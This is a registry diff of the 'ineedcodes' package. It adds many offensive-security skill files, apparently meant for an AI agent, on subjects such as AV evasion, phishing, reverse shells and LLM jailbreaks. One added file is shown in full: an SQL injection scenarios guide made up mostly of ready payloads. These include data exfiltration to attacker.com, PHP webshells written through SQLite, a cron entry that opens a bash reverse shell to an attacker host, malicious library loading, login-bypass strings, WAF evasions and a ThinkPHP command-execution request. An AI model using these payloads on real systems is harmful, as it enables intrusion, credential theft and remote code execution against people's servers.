ineedcodes 1.6.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,575 @@
|
|
|
1
|
+
# SQL Injection — Extended Scenarios & Real-World Cases
|
|
2
|
+
|
|
3
|
+
> Companion to [SKILL.md](./SKILL.md). Contains additional attack scenarios, CVE case studies, and injection techniques from real-world engagements.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. SMB Out-of-Band Exfiltration (MySQL on Windows)
|
|
8
|
+
|
|
9
|
+
When the MySQL server runs on Windows with outbound SMB allowed:
|
|
10
|
+
|
|
11
|
+
```sql
|
|
12
|
+
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT user()), '.attacker.com\\share'));
|
|
13
|
+
-- Triggers SMB connection → DNS lookup with data in hostname
|
|
14
|
+
|
|
15
|
+
-- More complete:
|
|
16
|
+
SELECT LOAD_FILE(CONCAT('\\\\attacker-ip\\', user(), '\\l.txt'));
|
|
17
|
+
-- SMB authentication attempt → attacker captures NTLMv2 hash via Responder
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
**Compared to DNS exfiltration**: SMB exfil can also leak NTLM hashes, enabling offline password cracking. DNS exfil is more reliable across firewalls.
|
|
21
|
+
|
|
22
|
+
---
|
|
23
|
+
|
|
24
|
+
## 2. KEY Injection / URI Injection
|
|
25
|
+
|
|
26
|
+
Beyond GET/POST parameters, SQL injection may occur in less-tested locations:
|
|
27
|
+
|
|
28
|
+
| Injection Point | Example |
|
|
29
|
+
|---|---|
|
|
30
|
+
| JSON key names | `{"admin' OR 1=1--": "value"}` — if key is used in column name |
|
|
31
|
+
| URI path segments | `/api/users/1 OR 1=1` — if path param enters SQL |
|
|
32
|
+
| HTTP headers | `X-Forwarded-For: 127.0.0.1' OR 1=1--` |
|
|
33
|
+
| Cookie values | `session=abc' UNION SELECT...` |
|
|
34
|
+
| Multipart filename | `filename="test' OR '1'='1.jpg"` |
|
|
35
|
+
| ORDER BY from API sort param | `?sort=name;SELECT SLEEP(5)--` |
|
|
36
|
+
|
|
37
|
+
---
|
|
38
|
+
|
|
39
|
+
## 3. INSERT / DELETE / UPDATE Injection Differences
|
|
40
|
+
|
|
41
|
+
Most SQLi training focuses on SELECT. Real applications use INSERT/UPDATE/DELETE with different exploitation strategies:
|
|
42
|
+
|
|
43
|
+
### INSERT Statement Injection
|
|
44
|
+
|
|
45
|
+
```sql
|
|
46
|
+
-- Original: INSERT INTO logs (user, action) VALUES ('INPUT', 'login');
|
|
47
|
+
-- Injection in user field:
|
|
48
|
+
INPUT: admin', 'login'), ('attacker', (SELECT password FROM users LIMIT 1))--
|
|
49
|
+
-- Result: INSERT INTO logs (user, action) VALUES ('admin', 'login'), ('attacker', 'actual_password')--', 'login');
|
|
50
|
+
-- Exfiltrates data into a visible log table
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
### UPDATE Statement Injection
|
|
54
|
+
|
|
55
|
+
```sql
|
|
56
|
+
-- Original: UPDATE users SET email='INPUT' WHERE id=5;
|
|
57
|
+
-- Injection: '), admin=1 WHERE username='victim'--
|
|
58
|
+
-- Result: UPDATE users SET email=''), admin=1 WHERE username='victim'--' WHERE id=5;
|
|
59
|
+
-- Escalates victim's privileges
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
### DELETE Statement Injection
|
|
63
|
+
|
|
64
|
+
```sql
|
|
65
|
+
-- Application's own statement (the injectable sink): DELETE FROM cart WHERE item_id='INPUT' AND user_id=5;
|
|
66
|
+
-- Non-destructive proof: confirm injection with a time-based payload, not by widening the WHERE:
|
|
67
|
+
-- Injection: 1' AND IF((SELECT 1),SLEEP(5),0)--
|
|
68
|
+
-- Note: a boolean payload (e.g. 1' OR '1'='1) would match every row (DoS / data destruction) — do not run it against real data.
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
---
|
|
72
|
+
|
|
73
|
+
## 4. CVE Case: ThinkPHP5 SQL Injection
|
|
74
|
+
|
|
75
|
+
ThinkPHP5 framework's `where` method improperly handles array parameters:
|
|
76
|
+
|
|
77
|
+
```
|
|
78
|
+
POST /index/think\app/invokefunction
|
|
79
|
+
Content-Type: application/x-www-form-urlencoded
|
|
80
|
+
|
|
81
|
+
function=call_user_func_array&vars[0]=system&vars[1][]=id
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
Error-based extraction using `updatexml`:
|
|
85
|
+
```sql
|
|
86
|
+
id=1' AND updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1)--
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
---
|
|
90
|
+
|
|
91
|
+
## 5. CVE Case: Django GIS SQL Injection (CVE-2020-9402)
|
|
92
|
+
|
|
93
|
+
Django's GIS `GeoQuerySet` methods (e.g., `annotate` with `RawSQL`) on Oracle backend allow error-based injection via `utl_inaddr.get_host_name`:
|
|
94
|
+
|
|
95
|
+
```sql
|
|
96
|
+
-- Oracle error-based exfiltration:
|
|
97
|
+
' AND 1=utl_inaddr.get_host_name((SELECT user FROM dual))--
|
|
98
|
+
-- Oracle raises ORA-29257 containing the username in the error message
|
|
99
|
+
|
|
100
|
+
-- DNS-based out-of-band on Oracle:
|
|
101
|
+
' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
**Takeaway**: Oracle-specific functions (`utl_inaddr`, `utl_http`, `dbms_ldap`) are powerful OOB channels that bypass most firewall restrictions.
|
|
105
|
+
|
|
106
|
+
---
|
|
107
|
+
|
|
108
|
+
## 6. SQL Injection via Different SQL Verbs
|
|
109
|
+
|
|
110
|
+
Applications may use different HTTP methods and SQL verbs for the same endpoint:
|
|
111
|
+
|
|
112
|
+
```text
|
|
113
|
+
GET /api/items?id=1 → SELECT (read)
|
|
114
|
+
POST /api/items → INSERT (create)
|
|
115
|
+
PUT /api/items/1 → UPDATE (modify)
|
|
116
|
+
DELETE /api/items/1 → DELETE (remove)
|
|
117
|
+
|
|
118
|
+
Each verb constructs a different SQL statement.
|
|
119
|
+
Test ALL verbs, not just the one shown in the UI.
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
## 7. Universal Password Bypass Patterns
|
|
125
|
+
|
|
126
|
+
```sql
|
|
127
|
+
-- Standard:
|
|
128
|
+
admin'--
|
|
129
|
+
admin' OR 1=1--
|
|
130
|
+
' OR '1'='1
|
|
131
|
+
|
|
132
|
+
-- With parentheses (common in PHP apps):
|
|
133
|
+
') OR ('1'='1
|
|
134
|
+
') OR 1=1--
|
|
135
|
+
|
|
136
|
+
-- With comment variations:
|
|
137
|
+
admin'/*
|
|
138
|
+
admin' OR 1=1#
|
|
139
|
+
|
|
140
|
+
-- Without quotes (numeric context):
|
|
141
|
+
1 OR 1=1
|
|
142
|
+
0 OR 1=1
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
---
|
|
146
|
+
|
|
147
|
+
## 8. DB2 Injection Specifics
|
|
148
|
+
|
|
149
|
+
DB2 uses distinct syntax and system tables.
|
|
150
|
+
|
|
151
|
+
### Enumeration
|
|
152
|
+
```sql
|
|
153
|
+
SELECT versionnumber, version_timestamp FROM sysibm.sysversions
|
|
154
|
+
SELECT schemaname FROM syscat.schemata
|
|
155
|
+
SELECT inst_name FROM sysibmadm.env_inst_info
|
|
156
|
+
SELECT 1 FROM sysibm.sysdummy1 -- equivalent to Oracle DUAL
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
### Blind Injection
|
|
160
|
+
```sql
|
|
161
|
+
-- Character extraction:
|
|
162
|
+
AND ascii(substr((SELECT user FROM sysibm.sysdummy1),1,1)) > 64
|
|
163
|
+
|
|
164
|
+
-- Row selection (no LIMIT):
|
|
165
|
+
SELECT column FROM table FETCH FIRST 1 ROWS ONLY
|
|
166
|
+
|
|
167
|
+
-- Time-based via Cartesian product (no SLEEP):
|
|
168
|
+
AND 1=(SELECT COUNT(*) FROM sysibm.sysdummy1 a, sysibm.sysdummy1 b, sysibm.sysdummy1 c)
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
### Command Execution
|
|
172
|
+
```sql
|
|
173
|
+
-- IBM i (AS/400) only:
|
|
174
|
+
CALL QSYS2.QCMDEXC('COMMAND_HERE')
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
### WAF Bypass
|
|
178
|
+
```sql
|
|
179
|
+
-- Avoid quotes via chr() concatenation:
|
|
180
|
+
chr(65)||chr(68)||chr(77)||chr(73)||chr(78) -- 'ADMIN'
|
|
181
|
+
```
|
|
182
|
+
|
|
183
|
+
---
|
|
184
|
+
|
|
185
|
+
## 9. Cassandra Injection Specifics (CQL)
|
|
186
|
+
|
|
187
|
+
Cassandra Query Language has severe limitations for injection:
|
|
188
|
+
|
|
189
|
+
### Key Limitations
|
|
190
|
+
- No JOIN, no UNION, no subqueries
|
|
191
|
+
- No `OR` operator in WHERE clause
|
|
192
|
+
- No `SLEEP()` or time-delay function
|
|
193
|
+
- No built-in `USER()` function
|
|
194
|
+
|
|
195
|
+
### Authentication Bypass
|
|
196
|
+
```sql
|
|
197
|
+
-- Null byte termination:
|
|
198
|
+
admin' ALLOW FILTERING; %00
|
|
199
|
+
|
|
200
|
+
-- Multi-line comment closure:
|
|
201
|
+
admin'/* (in username)
|
|
202
|
+
*/and pass>' (in password)
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
### Comments
|
|
206
|
+
```sql
|
|
207
|
+
/* multi-line comment */
|
|
208
|
+
-- No single-line comment syntax
|
|
209
|
+
```
|
|
210
|
+
|
|
211
|
+
---
|
|
212
|
+
|
|
213
|
+
## 10. BigQuery Injection Specifics
|
|
214
|
+
|
|
215
|
+
Google BigQuery uses backtick-quoted identifiers and lacks traditional blind techniques.
|
|
216
|
+
|
|
217
|
+
### Identification
|
|
218
|
+
```sql
|
|
219
|
+
-- Backtick syntax is distinctive:
|
|
220
|
+
SELECT * FROM `project.dataset.table`
|
|
221
|
+
|
|
222
|
+
-- System variables:
|
|
223
|
+
SELECT @@project_id
|
|
224
|
+
```
|
|
225
|
+
|
|
226
|
+
### Enumeration
|
|
227
|
+
```sql
|
|
228
|
+
SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA
|
|
229
|
+
-- Fully qualified table names required: project.dataset.table
|
|
230
|
+
```
|
|
231
|
+
|
|
232
|
+
### Error-based
|
|
233
|
+
```sql
|
|
234
|
+
-- Division by zero:
|
|
235
|
+
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
### Boolean Blind
|
|
239
|
+
```sql
|
|
240
|
+
' AND SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1),1,1)='A' --
|
|
241
|
+
```
|
|
242
|
+
|
|
243
|
+
### Key Notes
|
|
244
|
+
- No native `SLEEP()` function for time-based blind
|
|
245
|
+
- Comments: `#`, `/* */`
|
|
246
|
+
- No stacked queries support
|
|
247
|
+
|
|
248
|
+
---
|
|
249
|
+
|
|
250
|
+
## 11. SQLite Injection to RCE
|
|
251
|
+
|
|
252
|
+
SQLite supports file operations that can escalate to code execution.
|
|
253
|
+
|
|
254
|
+
### Enumeration
|
|
255
|
+
```sql
|
|
256
|
+
SELECT name FROM sqlite_master WHERE type='table'
|
|
257
|
+
SELECT sql FROM sqlite_master WHERE name='target_table'
|
|
258
|
+
SELECT * FROM pragma_table_info('target_table')
|
|
259
|
+
```
|
|
260
|
+
|
|
261
|
+
### Write Webshell via ATTACH DATABASE
|
|
262
|
+
```sql
|
|
263
|
+
ATTACH DATABASE '/var/www/html/shell.php' AS pwn;
|
|
264
|
+
CREATE TABLE pwn.cmd (payload text);
|
|
265
|
+
INSERT INTO pwn.cmd VALUES ('<?php system($_GET["c"]); ?>');
|
|
266
|
+
```
|
|
267
|
+
|
|
268
|
+
### Write Cron Job
|
|
269
|
+
```sql
|
|
270
|
+
ATTACH DATABASE '/var/spool/cron/crontabs/www-data' AS cron;
|
|
271
|
+
CREATE TABLE cron.job (payload text);
|
|
272
|
+
INSERT INTO cron.job VALUES ('* * * * * /bin/bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"');
|
|
273
|
+
```
|
|
274
|
+
|
|
275
|
+
### load_extension (if enabled)
|
|
276
|
+
```sql
|
|
277
|
+
-- Load shared library for RCE (rarely enabled):
|
|
278
|
+
SELECT load_extension('/tmp/evil.so')
|
|
279
|
+
-- Windows UNC path variant:
|
|
280
|
+
SELECT load_extension('\\attacker\share\evil.dll')
|
|
281
|
+
```
|
|
282
|
+
|
|
283
|
+
### writefile (if available)
|
|
284
|
+
```sql
|
|
285
|
+
SELECT writefile('/var/www/html/shell.php', '<?php system($_GET["c"]); ?>');
|
|
286
|
+
```
|
|
287
|
+
|
|
288
|
+
### Error-based
|
|
289
|
+
```sql
|
|
290
|
+
-- Trigger error via nonexistent function:
|
|
291
|
+
CASE WHEN [condition] THEN 1 ELSE load_extension(1) END
|
|
292
|
+
```
|
|
293
|
+
|
|
294
|
+
### Time-based (no SLEEP)
|
|
295
|
+
```sql
|
|
296
|
+
-- CPU-intensive operation as delay:
|
|
297
|
+
AND 1=LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(500000000/2))))
|
|
298
|
+
```
|
|
299
|
+
|
|
300
|
+
---
|
|
301
|
+
|
|
302
|
+
## 12. WAF Bypass Matrix
|
|
303
|
+
|
|
304
|
+
### No Spaces Allowed
|
|
305
|
+
```sql
|
|
306
|
+
/**/UNION/**/SELECT/**/1,2,3
|
|
307
|
+
UNION%09SELECT%091,2,3 -- tab character
|
|
308
|
+
UNION%0BSELECT%0B1,2,3 -- vertical tab
|
|
309
|
+
UNION(SELECT(1),(2),(3)) -- parentheses instead of spaces
|
|
310
|
+
```
|
|
311
|
+
|
|
312
|
+
### No Commas Allowed
|
|
313
|
+
```sql
|
|
314
|
+
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
|
|
315
|
+
-- CASE/JOIN substitution
|
|
316
|
+
SELECT CASE WHEN 1=1 THEN 1 END FROM dual
|
|
317
|
+
-- OFFSET instead of comma in LIMIT:
|
|
318
|
+
LIMIT 1 OFFSET 0
|
|
319
|
+
```
|
|
320
|
+
|
|
321
|
+
### Polyglot Injection
|
|
322
|
+
```sql
|
|
323
|
+
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
|
324
|
+
```
|
|
325
|
+
|
|
326
|
+
### Routed Injection
|
|
327
|
+
```sql
|
|
328
|
+
-- Nested query where inner result becomes part of outer:
|
|
329
|
+
1' UNION SELECT 0x2720554e494f4e2053454c454354 -- (hex-encoded second stage)
|
|
330
|
+
```
|
|
331
|
+
|
|
332
|
+
### Second Order Injection
|
|
333
|
+
```
|
|
334
|
+
Step 1: Register username: admin'--
|
|
335
|
+
Step 2: Login as admin'-- (stored in session)
|
|
336
|
+
Step 3: Change password → UPDATE users SET password='new' WHERE user='admin'--'
|
|
337
|
+
Effectively changes admin's password
|
|
338
|
+
```
|
|
339
|
+
|
|
340
|
+
---
|
|
341
|
+
|
|
342
|
+
## 13. CTF-Oriented Techniques
|
|
343
|
+
|
|
344
|
+
### handler (bypass SELECT filter)
|
|
345
|
+
```sql
|
|
346
|
+
-- When SELECT is blocked:
|
|
347
|
+
handler `table_name` open as a;
|
|
348
|
+
handler `a` read next;
|
|
349
|
+
handler `a` close;
|
|
350
|
+
```
|
|
351
|
+
|
|
352
|
+
### prepare + hex (bypass keyword filters)
|
|
353
|
+
```sql
|
|
354
|
+
SET @a=0x73656c65637420757365722829; -- hex of "select user()"
|
|
355
|
+
PREPARE execsql FROM @a;
|
|
356
|
+
EXECUTE execsql;
|
|
357
|
+
```
|
|
358
|
+
|
|
359
|
+
### innodb_table_stats (bypass information_schema filter)
|
|
360
|
+
```sql
|
|
361
|
+
-- When 'information_schema' or 'or' is filtered:
|
|
362
|
+
SELECT table_name FROM mysql.innodb_table_stats WHERE database_name=database()
|
|
363
|
+
```
|
|
364
|
+
|
|
365
|
